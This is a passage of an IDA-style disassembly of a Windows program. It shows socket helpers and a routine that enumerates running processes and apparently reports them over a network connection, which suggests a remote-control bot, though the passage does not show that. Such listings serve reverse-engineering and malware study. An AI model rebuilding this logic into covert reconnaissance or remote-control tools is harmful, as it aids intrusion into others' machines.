		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_403945:				; CODE XREF: sub_403925+1Aj
		and	dword ptr [eax+4], 0
		mov	[eax], esi
		pop	esi
		retn
sub_403925	endp


; =============== S U B	R O U T	I N E =======================================



sub_40394D	proc near		; CODE XREF: sub_40E18A+32Cp
					; sub_40ED30+FBp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [eax+4]
		cmp	ecx, [eax]
		jnz	short loc_403965
		push	[esp+arg_0]
		call	sub_403D49
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_403965:				; CODE XREF: sub_40394D+9j
		mov	edx, [esp+arg_0]
		mov	[eax+ecx*4+0Ch], edx
		inc	dword ptr [eax+4]
		mov	ecx, [eax+4]
		xor	edx, edx
		cmp	ecx, [eax]
		setnz	dl
		mov	eax, edx
		retn
sub_40394D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40397D	proc near		; CODE XREF: sub_40E18A+3D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		push	edi
		mov	edx, [esi+4]
		test	edx, edx
		jbe	short loc_4039CF
		lea	ecx, [esi+0Ch]


loc_40398F:				; CODE XREF: sub_40397D+20j
		mov	edi, [ecx]
		cmp	edi, [esp+8+arg_0]
		jz	short loc_4039A1
		inc	eax
		add	ecx, 4
		cmp	eax, edx
		jb	short loc_40398F
		jmp	short loc_4039CF
; ---------------------------------------------------------------------------


loc_4039A1:				; CODE XREF: sub_40397D+18j
		mov	ecx, [esi+8]
		cmp	eax, ecx
		jb	short loc_4039AC
		dec	ecx
		mov	[esi+8], ecx


loc_4039AC:				; CODE XREF: sub_40397D+29j
		mov	ecx, eax
		imul	ecx, 3FFFFFFFh
		add	ecx, edx
		shl	ecx, 2
		push	ecx
		lea	ecx, [esi+eax*4+10h]
		lea	eax, [esi+eax*4+0Ch]
		push	ecx
		push	eax
		call	sub_410838	; memcpy
		add	esp, 0Ch
		dec	dword ptr [esi+4]


loc_4039CF:				; CODE XREF: sub_40397D+Dj
					; sub_40397D+22j
		pop	edi
		pop	esi
		retn
sub_40397D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4039D2	proc near		; CODE XREF: sub_40E18A+361p
					; sub_40ED30+11Ap

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		push	ebx
		xor	ebx, ebx
		cmp	[eax+4], ebx
		lea	ecx, [eax+80Ch]
		mov	[eax+8], ebx
		mov	[ebp+var_4], ebx
		mov	[ecx], ebx
		jbe	short loc_403A41
		push	esi
		push	edi
		lea	esi, [eax+0Ch]


loc_4039F5:				; CODE XREF: sub_4039D2+6Bj
		mov	edi, [ecx]
		mov	[ebp+arg_0], ebx
		cmp	edi, ebx
		jbe	short loc_403A17
		lea	edx, [eax+810h]


loc_403A04:				; CODE XREF: sub_4039D2+41j
		mov	ebx, [esi]
		cmp	[edx], ebx
		jz	short loc_403A15
		inc	[ebp+arg_0]
		add	edx, 4
		cmp	[ebp+arg_0], edi
		jb	short loc_403A04


loc_403A15:				; CODE XREF: sub_4039D2+36j
		xor	ebx, ebx


loc_403A17:				; CODE XREF: sub_4039D2+2Aj
		mov	edx, [ebp+arg_0]
		cmp	edx, edi
		jnz	short loc_403A31
		cmp	edi, 200h
		jnb	short loc_403A31
		mov	edi, [esi]
		mov	[eax+edx*4+810h], edi
		inc	dword ptr [ecx]


loc_403A31:				; CODE XREF: sub_4039D2+4Aj
					; sub_4039D2+52j
		inc	[ebp+var_4]
		mov	edx, [ebp+var_4]
		add	esi, 4
		cmp	edx, [eax+4]
		jb	short loc_4039F5
		pop	edi
		pop	esi


loc_403A41:				; CODE XREF: sub_4039D2+1Cj
		lea	eax, [ebp+var_8]
		mov	[ebp+var_8], ebx
		push	eax
		push	ebx
		push	ecx
		push	ebx
		push	ebx
		mov	[ebp+var_4], 3E8h
		call	ds:dword_411214	; select
		cmp	eax, ebx
		jz	short loc_403A67
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403A67
		push	1
		pop	eax
		jmp	short loc_403A69
; ---------------------------------------------------------------------------


loc_403A67:				; CODE XREF: sub_4039D2+89j
					; sub_4039D2+8Ej
		xor	eax, eax


loc_403A69:				; CODE XREF: sub_4039D2+93j
		pop	ebx
		leave
		retn
sub_4039D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A6C	proc near		; CODE XREF: sub_40E18A+372p
					; sub_40ED30+133p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		push	edi
		mov	edi, [esi+8]
		cmp	edi, [esi+4]
		jnb	short loc_403A9B
		lea	ebp, [esi+80Ch]
		lea	ebx, [esi+edi*4+0Ch]


loc_403A86:				; CODE XREF: sub_403A6C+2Dj
		push	ebp
		push	dword ptr [ebx]
		call	sub_410B58	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_403AA2
		inc	edi
		add	ebx, 4
		cmp	edi, [esi+4]
		jb	short loc_403A86


loc_403A9B:				; CODE XREF: sub_403A6C+Ej
		xor	eax, eax


loc_403A9D:				; CODE XREF: sub_403A6C+40j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_403AA2:				; CODE XREF: sub_403A6C+24j
		lea	eax, [edi+1]
		mov	[esi+8], eax
		mov	eax, [esi+edi*4+0Ch]
		jmp	short loc_403A9D
sub_403A6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_403AAE	proc near		; CODE XREF: sub_403AE6+4p
					; sub_40E18A+435p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebp, ebp
		xor	ebx, ebx
		cmp	[esi+4], ebp
		jbe	short loc_403AD6
		push	edi
		lea	edi, [esi+0Ch]


loc_403AC2:				; CODE XREF: sub_403AAE+25j
		push	dword ptr [edi]
		call	sub_403D49
		mov	[edi], ebp
		inc	ebx
		add	edi, 4
		cmp	ebx, [esi+4]
		pop	ecx
		jb	short loc_403AC2
		pop	edi


loc_403AD6:				; CODE XREF: sub_403AAE+Ej
		mov	[esi+4], ebp
		mov	[esi+8], ebp
		mov	[esi+80Ch], ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_403AAE	endp


; =============== S U B	R O U T	I N E =======================================



sub_403AE6	proc near		; CODE XREF: sub_40E18A+483p
					; sub_40ED30+1C2p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_403AAE
		push	[esp+4+arg_0]
		call	sub_410832	; free
		pop	ecx
		pop	ecx
		retn
sub_403AE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403AFB	proc near		; CODE XREF: sub_40DB90+15p
					; sub_40E18A+323p ...

var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	20h
		lea	eax, [ebp+var_24]
		push	0
		push	eax
		call	sub_410850	; memset
		add	esp, 0Ch
		test	[ebp+arg_8], 2
		jz	short loc_403B20
		mov	[ebp+var_20], 17h
		jmp	short loc_403B2C
; ---------------------------------------------------------------------------


loc_403B20:				; CODE XREF: sub_403AFB+1Aj
		movsx	eax, [ebp+arg_8]
		and	eax, 1
		shl	eax, 1
		mov	[ebp+var_20], eax


loc_403B2C:				; CODE XREF: sub_403AFB+23j
		test	[ebp+arg_8], 4
		push	0
		pop	eax
		setnz	al
		inc	eax
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_417BB4	; getaddrinfo
		test	eax, eax
		jz	short loc_403B56
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_403B56:				; CODE XREF: sub_403AFB+55j
		push	esi
		mov	esi, [ebp+var_4]
		push	edi


loc_403B5B:				; CODE XREF: sub_403AFB+ADj
		test	esi, esi
		jz	short loc_403BAA
		push	dword ptr [esi+0Ch]
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		call	ds:dword_41122C	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_403BA5
		push	0
		push	edi
		call	sub_403402
		pop	ecx
		pop	ecx
		push	dword ptr [esi+10h]
		push	dword ptr [esi+18h]
		push	edi
		call	ds:dword_411208	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403B9E
		call	ds:dword_411238	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_403BAC


loc_403B9E:				; CODE XREF: sub_403AFB+94j
		push	edi
		call	sub_403D49
		pop	ecx


loc_403BA5:				; CODE XREF: sub_403AFB+78j
		mov	esi, [esi+1Ch]
		jmp	short loc_403B5B
; ---------------------------------------------------------------------------


loc_403BAA:				; CODE XREF: sub_403AFB+62j
		xor	edi, edi


loc_403BAC:				; CODE XREF: sub_403AFB+A1j
		push	[ebp+var_4]
		call	dword_417BBC	; freeaddrinfo
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_403AFB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403BBB	proc near		; CODE XREF: sub_401985+73p
					; sub_402018+1Ap ...

var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 82Ch
		mov	eax, [ebp+arg_C]
		push	ebx
		mov	ecx, 3E8h
		push	esi
		cdq
		mov	esi, ecx
		xor	ebx, ebx
		idiv	esi
		push	20h
		push	ebx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_C]
		cdq
		idiv	ecx
		lea	eax, [ebp+var_28]
		push	eax
		imul	edx, 3E8h
		mov	[ebp+var_4], edx
		call	sub_410850	; memset
		add	esp, 0Ch
		test	[ebp+arg_8], 2
		jz	short loc_403C05
		mov	[ebp+var_24], 17h
		jmp	short loc_403C11
; ---------------------------------------------------------------------------


loc_403C05:				; CODE XREF: sub_403BBB+3Fj
		movsx	eax, [ebp+arg_8]
		and	eax, 1
		shl	eax, 1
		mov	[ebp+var_24], eax


loc_403C11:				; CODE XREF: sub_403BBB+48j
		test	[ebp+arg_8], 4
		push	0
		pop	eax
		setnz	al
		inc	eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_417BB4	; getaddrinfo
		test	eax, eax
		jz	short loc_403C3E
		xor	eax, eax
		jmp	loc_403D23
; ---------------------------------------------------------------------------


loc_403C3E:				; CODE XREF: sub_403BBB+7Aj
		mov	esi, [ebp+arg_C]
		push	edi


loc_403C42:				; CODE XREF: sub_403BBB+149j
		cmp	esi, ebx
		jz	loc_403D15
		push	dword ptr [esi+0Ch]
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		call	ds:dword_41122C	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_403D01
		push	ebx
		push	edi
		call	sub_403402
		pop	ecx
		pop	ecx
		push	dword ptr [esi+10h]
		push	dword ptr [esi+18h]
		push	edi
		call	ds:dword_411208	; connect
		test	eax, eax
		jz	short loc_403C8B
		call	ds:dword_411238	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_403D01


loc_403C8B:				; CODE XREF: sub_403BBB+C1j
		lea	eax, [ebp+var_8]
		mov	[ebp+var_828], edi
		push	eax
		lea	eax, [ebp+var_82C]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_82C], 1
		call	ds:dword_411214	; select
		cmp	eax, 1
		jz	short loc_403D09
		mov	edx, [ebp+var_82C]
		xor	ecx, ecx
		cmp	edx, ebx
		jbe	short loc_403CFA
		lea	eax, [ebp+var_828]


loc_403CC6:				; CODE XREF: sub_403BBB+115j
		cmp	[eax], edi
		jz	short loc_403CD4
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_403CC6
		jmp	short loc_403CFA
; ---------------------------------------------------------------------------


loc_403CD4:				; CODE XREF: sub_403BBB+10Dj
		dec	edx
		cmp	ecx, edx
		jnb	short loc_403CF4
		lea	eax, [ebp+ecx*4+var_828]


loc_403CE0:				; CODE XREF: sub_403BBB+137j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp+var_82C]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_403CE0


loc_403CF4:				; CODE XREF: sub_403BBB+11Cj
		dec	[ebp+var_82C]


loc_403CFA:				; CODE XREF: sub_403BBB+103j
					; sub_403BBB+117j
		push	edi
		call	sub_403D49
		pop	ecx


loc_403D01:				; CODE XREF: sub_403BBB+A3j
					; sub_403BBB+CEj
		mov	esi, [esi+1Ch]
		jmp	loc_403C42
; ---------------------------------------------------------------------------


loc_403D09:				; CODE XREF: sub_403BBB+F7j
		push	1
		push	edi
		call	sub_403402
		pop	ecx
		pop	ecx
		jmp	short loc_403D17
; ---------------------------------------------------------------------------


loc_403D15:				; CODE XREF: sub_403BBB+89j
		xor	edi, edi


loc_403D17:				; CODE XREF: sub_403BBB+158j
		push	[ebp+arg_C]
		call	dword_417BBC	; freeaddrinfo
		mov	eax, edi
		pop	edi


loc_403D23:				; CODE XREF: sub_403BBB+7Ej
		pop	esi
		pop	ebx
		leave
		retn
sub_403BBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_403D27	proc near		; CODE XREF: sub_401985+1E0p
					; sub_401B81+2E1p ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	ds:dword_411210	; shutdown
		push	3E8h
		call	ds:dword_4110A4	; Sleep
		push	[esp+arg_0]
		call	sub_403D49
		pop	ecx
		retn
sub_403D27	endp


; =============== S U B	R O U T	I N E =======================================



sub_403D49	proc near		; CODE XREF: sub_403289+55p
					; sub_40331D+15p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_411240	; closesocket
		retn
sub_403D49	endp


; =============== S U B	R O U T	I N E =======================================



sub_403D54	proc near		; CODE XREF: sub_401985+110p
					; sub_401B81+207p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	ds:dword_411220	; send
		retn
sub_403D54	endp


; =============== S U B	R O U T	I N E =======================================



sub_403D69	proc near		; CODE XREF: sub_402EFD+B5p
					; sub_403DAD+1Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		cmp	esi, 2
		push	edi
		jb	short loc_403D96
		mov	edi, [esp+8+arg_4]
		lea	eax, [esi-1]
		push	0
		push	eax
		push	edi
		push	[esp+14h+arg_0]
		call	ds:dword_411258	; recv
		test	eax, eax
		jz	short loc_403DAA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403DAA
		cmp	eax, esi
		jb	short loc_403DA6


loc_403D96:				; CODE XREF: sub_403D69+9j
		push	271Eh
		call	ds:dword_411244	; WSASetLastError
		or	eax, 0FFFFFFFFh
		jmp	short loc_403DAA
; ---------------------------------------------------------------------------


loc_403DA6:				; CODE XREF: sub_403D69+2Bj
		and	byte ptr [eax+edi], 0


loc_403DAA:				; CODE XREF: sub_403D69+22j
					; sub_403D69+27j ...
		pop	edi
		pop	esi
		retn
sub_403D69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403DAD	proc near		; CODE XREF: sub_402018+70p
					; sub_402018+195p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_C]
		push	[ebp+arg_0]
		call	sub_403DD6
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403DC3
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_403DC3:				; CODE XREF: sub_403DAD+12j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_403D69
		add	esp, 0Ch
		pop	ebp
		retn
sub_403DAD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403DD6	proc near		; CODE XREF: sub_403DAD+9p
					; sub_40AD2B+19p ...

var_1010	= dword	ptr -1010h
var_100C	= dword	ptr -100Ch
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1010h
		call	sub_4108B0
		mov	eax, [ebp+arg_4]
		mov	ecx, 3E8h
		push	ebx
		xor	edx, edx
		mov	ebx, ecx
		push	esi
		div	ebx
		xor	edx, edx
		push	edi
		push	1
		mov	edi, [ebp+arg_0]
		pop	esi
		mov	[ebp+var_808], edi
		mov	[ebp+var_80C], esi
		mov	[ebp+var_100C],	edi
		mov	[ebp+var_1010],	esi
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		div	ecx
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_1010]
		push	eax
		lea	eax, [ebp+var_80C]
		push	0
		push	eax
		push	esi
		imul	edx, 3E8h
		mov	[ebp+var_4], edx
		call	ds:dword_411214	; select
		cmp	eax, esi
		jz	short loc_403E48
		xor	eax, eax
		jmp	short loc_403E5B
; ---------------------------------------------------------------------------


loc_403E48:				; CODE XREF: sub_403DD6+6Cj
		lea	eax, [ebp+var_80C]
		push	eax
		push	edi
		call	sub_410B58	; __WSAFDIsSet
		neg	eax
		sbb	eax, eax
		neg	eax


loc_403E5B:				; CODE XREF: sub_403DD6+70j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403DD6	endp


; =============== S U B	R O U T	I N E =======================================



sub_403E60	proc near		; CODE XREF: sub_4014B0+53p
					; sub_4018D5+64p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_4], 0
		jnz	short loc_403E85
		push	esi
		mov	esi, [esp+4+arg_0]
		push	1A3h
		push	0
		push	esi
		call	sub_410850	; memset
		add	esp, 0Ch
		mov	byte ptr [esi+198h], 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_403E85:				; CODE XREF: sub_403E60+5j
		push	1A3h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_410838	; memcpy
		add	esp, 0Ch
		retn
sub_403E60	endp


; =============== S U B	R O U T	I N E =======================================



sub_403E9B	proc near		; CODE XREF: seg000:0041060Cp

var_8		= dword	ptr -8

		push	edi
		push	offset dword_417FE0
		call	sub_406AB6
		mov	[esp+8+var_8], offset aPsapi_dll ; "psapi.dll"
		call	ds:dword_41105C	; LoadLibraryA
		mov	edi, eax
		test	edi, edi
		jz	short loc_403F1B
		push	esi
		mov	esi, ds:dword_411060
		push	offset aEnumprocesses ;	"EnumProcesses"
		push	edi
		call	esi	; GetProcAddress
		push	offset aEnumprocessmod ; "EnumProcessModules"
		push	edi
		mov	dword_417FDC, eax
		call	esi	; GetProcAddress
		push	offset aGetmodulefilen ; "GetModuleFileNameExA"
		push	edi
		mov	dword_417FD0, eax
		call	esi	; GetProcAddress
		push	offset aGetmoduleinfor ; "GetModuleInformation"
		push	edi
		mov	dword_417FD4, eax
		call	esi	; GetProcAddress
		cmp	dword_417FDC, 0
		mov	dword_417FD8, eax
		pop	esi
		jz	short loc_403F1B
		cmp	dword_417FD0, 0
		jz	short loc_403F1B
		cmp	dword_417FD4, 0
		jz	short loc_403F1B
		test	eax, eax
		jz	short loc_403F1B
		mov	byte_417FFC, 1


loc_403F1B:				; CODE XREF: sub_403E9B+1Cj
					; sub_403E9B+61j ...
		pop	edi
		retn
sub_403E9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403F1D	proc near		; CODE XREF: sub_4011C4+56p
					; sub_404143+2Ap

var_125		= byte ptr -125h
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 124h
		push	ebx
		push	esi
		push	edi
		push	offset dword_417FE0
		call	sub_406AE4
		cmp	byte_417FFC, 0
		pop	ecx
		jnz	short loc_403F44


loc_403F3D:				; CODE XREF: sub_403F1D+35j
					; sub_403F1D+4Cj ...
		xor	esi, esi
		jmp	loc_404126
; ---------------------------------------------------------------------------


loc_403F44:				; CODE XREF: sub_403F1D+1Ej
		and	[ebp+var_14], 0
		push	0
		call	sub_41082C	; malloc
		test	eax, eax
		pop	ecx
		jz	short loc_403F3D
		mov	esi, 80h
		push	esi
		mov	ebx, esi
		push	eax


loc_403F5D:				; CODE XREF: sub_403F1D+6Dj
		call	sub_4108E6	; realloc
		pop	ecx
		mov	[ebp+var_4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_403F3D
		lea	eax, [ebp+var_14]
		push	eax
		push	ebx
		push	[ebp+var_4]
		call	dword_417FDC
		test	eax, eax
		jz	short loc_403FAA
		mov	edi, [ebp+var_14]
		cmp	edi, ebx
		jb	short loc_403F8C
		add	ebx, esi
		push	ebx
		push	[ebp+var_4]
		jmp	short loc_403F5D
; ---------------------------------------------------------------------------


loc_403F8C:				; CODE XREF: sub_403F1D+65j
		shr	edi, 2
		mov	eax, edi
		mov	[ebp+var_10], edi
		imul	eax, 114h
		add	eax, 8
		push	eax
		call	sub_41082C	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_403FB5


loc_403FAA:				; CODE XREF: sub_403F1D+5Ej
		push	[ebp+var_4]
		call	sub_410832	; free
		pop	ecx
		jmp	short loc_403F3D
; ---------------------------------------------------------------------------


loc_403FB5:				; CODE XREF: sub_403F1D+8Bj
		lea	eax, [esi+8]
		mov	[esi], edi
		test	edi, edi
		mov	[esi+4], eax
		jbe	short loc_40400A
		mov	eax, [ebp+var_4]
		xor	ebx, ebx
		mov	[ebp+var_8], eax
		mov	[ebp+var_C], edi


loc_403FCC:				; CODE XREF: sub_403F1D+E8j
		mov	edi, 114h
		push	edi
		push	0
		push	dword ptr [esi+4]
		call	sub_410850	; memset
		mov	ecx, [ebp+var_8]
		mov	eax, [esi+4]
		push	offset aSystem	; "system"
		mov	ecx, [ecx]
		mov	[ebx+eax], ecx
		mov	eax, [esi+4]
		lea	eax, [ebx+eax+0Ch]
		push	eax
		call	sub_410820	; _mbscpy
		add	[ebp+var_8], 4
		add	esp, 14h
		add	ebx, edi
		dec	[ebp+var_C]
		jnz	short loc_403FCC
		mov	edi, [ebp+var_10]


loc_40400A:				; CODE XREF: sub_403F1D+A2j
		push	[ebp+var_4]
		call	sub_410832	; free
		test	edi, edi
		pop	ecx
		jbe	loc_404126
		xor	ebx, ebx
		mov	[ebp+var_4], edi


loc_404020:				; CODE XREF: sub_403F1D+203j
		mov	eax, [esi+4]
		push	dword ptr [ebx+eax]
		push	0
		push	410h
		call	ds:dword_41109C	; OpenProcess
		mov	edi, eax
		test	edi, edi
		mov	[ebp+var_8], edi
		jz	loc_404117
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	edi
		call	dword_417FD0
		test	eax, eax
		jnz	short loc_404063
		push	edi
		jmp	loc_404111
; ---------------------------------------------------------------------------


loc_404063:				; CODE XREF: sub_403F1D+13Ej
		lea	eax, [ebp+var_20]
		push	0Ch
		push	eax
		push	[ebp+var_C]
		push	edi
		call	dword_417FD8
		mov	eax, [esi+4]
		mov	ecx, [ebp+var_20]
		push	40h
		lea	edi, [ebp+var_123]
		mov	[ebx+eax+4], ecx
		mov	eax, [esi+4]
		mov	ecx, [ebp+var_1C]
		mov	[ebx+eax+8], ecx
		mov	al, byte_417B60
		mov	[ebp+var_124], al
		pop	ecx
		xor	eax, eax
		rep stosd
		stosw
		stosb
		mov	edi, 104h
		lea	eax, [ebp+var_124]
		push	edi
		push	eax
		push	[ebp+var_20]
		push	[ebp+var_8]
		call	dword_417FD4
		test	eax, eax
		jz	short loc_40410E
		cmp	[ebp+var_124], 0
		jz	short loc_40410E
		lea	eax, [ebp+var_124]
		push	edi
		push	eax
		mov	eax, [esi+4]
		lea	eax, [ebx+eax+0Ch]
		push	eax
		call	sub_41083E	; strncpy
		lea	eax, [ebp+var_124]
		push	eax
		call	sub_410826	; strlen
		add	esp, 10h
		test	eax, eax
		jz	short loc_40410E


loc_4040F0:				; CODE XREF: sub_403F1D+1E3j
		cmp	eax, 1
		jbe	short loc_40410E
		cmp	[ebp+eax+var_125], 5Ch
		jz	short loc_404104
		dec	eax
		jnz	short loc_4040F0
		jmp	short loc_40410E
; ---------------------------------------------------------------------------


loc_404104:				; CODE XREF: sub_403F1D+1E0j
		mov	ecx, [esi+4]
		mov	[ebx+ecx+110h],	eax


loc_40410E:				; CODE XREF: sub_403F1D+1A0j
					; sub_403F1D+1A9j ...
		push	[ebp+var_8]


loc_404111:				; CODE XREF: sub_403F1D+141j
		call	ds:dword_4110AC	; CloseHandle


loc_404117:				; CODE XREF: sub_403F1D+11Dj
		add	ebx, 114h
		dec	[ebp+var_4]
		jnz	loc_404020


loc_404126:				; CODE XREF: sub_403F1D+22j
					; sub_403F1D+F8j
		push	offset dword_417FE0
		call	sub_406AEF
		pop	ecx
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403F1D	endp


; =============== S U B	R O U T	I N E =======================================



sub_404138	proc near		; CODE XREF: sub_4011C4+27Bp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_410832	; free
		pop	ecx
		retn
sub_404138	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404143	proc near		; DATA XREF: sub_404202+2Fo

var_1A8		= dword	ptr -1A8h
var_1A4		= byte ptr -1A4h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A8h
		push	esi
		push	edi
		push	1A7h
		lea	eax, [ebp+var_1A8]
		push	[ebp+arg_0]
		push	eax
		call	sub_410838	; memcpy
		push	[ebp+arg_0]
		call	sub_410832	; free
		add	esp, 10h
		call	sub_403F1D
		mov	esi, eax
		xor	edi, edi
		cmp	esi, edi
		jz	short loc_4041EE
		mov	eax, [ebp+var_1A8]
		push	ebx
		push	dword ptr [esi]
		push	dword ptr [eax]
		lea	eax, [ebp+var_1A4]
		push	offset dword_412AE8
		push	eax
		call	sub_408D50
		add	esp, 10h
		xor	ebx, ebx
		cmp	[esi], edi
		jle	short loc_4041E6


loc_40419F:				; CODE XREF: sub_404143+A1j
		push	3E8h
		call	ds:dword_4110A4	; Sleep
		mov	eax, [esi+4]
		add	eax, edi
		lea	ecx, [eax+0Ch]
		push	ecx
		push	dword ptr [eax+8]
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_1A4]
		push	offset dword_412AD0
		push	eax
		call	sub_408D50
		mov	eax, [ebp+var_1A8]
		add	esp, 18h
		cmp	dword ptr [eax+4], 0
		jnz	short loc_4041E6
		inc	ebx
		add	edi, 114h
		cmp	ebx, [esi]
		jl	short loc_40419F


loc_4041E6:				; CODE XREF: sub_404143+5Aj
					; sub_404143+96j
		push	esi
		call	sub_410832	; free
		pop	ecx
		pop	ebx


loc_4041EE:				; CODE XREF: sub_404143+35j
		push	[ebp+var_1A8]
		call	sub_406753
		pop	ecx
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_404143	endp


; =============== S U B	R O U T	I N E =======================================



sub_404202	proc near		; CODE XREF: sub_40735A+2BAp

arg_0		= dword	ptr  4

		push	esi
		push	1A7h
		call	sub_41082C	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40423E
		push	1A3h
		lea	eax, [esi+4]
		push	[esp+8+arg_0]
		push	eax
		call	sub_410838	; memcpy
		add	esp, 0Ch
		push	offset dword_412B10
		push	0
		push	esi
		push	offset sub_404143
		call	sub_40663C
		add	esp, 10h


loc_40423E:				; CODE XREF: sub_404202+10j
		pop	esi
		retn
sub_404202	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404240	proc near		; CODE XREF: sub_40735A+3C2p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		push	esi
		push	edi
		jz	loc_404312
		cmp	[ebp+arg_C], 0
		jz	loc_404312
		push	[ebp+arg_4]
		call	sub_41088C	; atoi
		push	[ebp+arg_8]
		mov	ebx, eax
		call	sub_407290
		push	[ebp+arg_C]
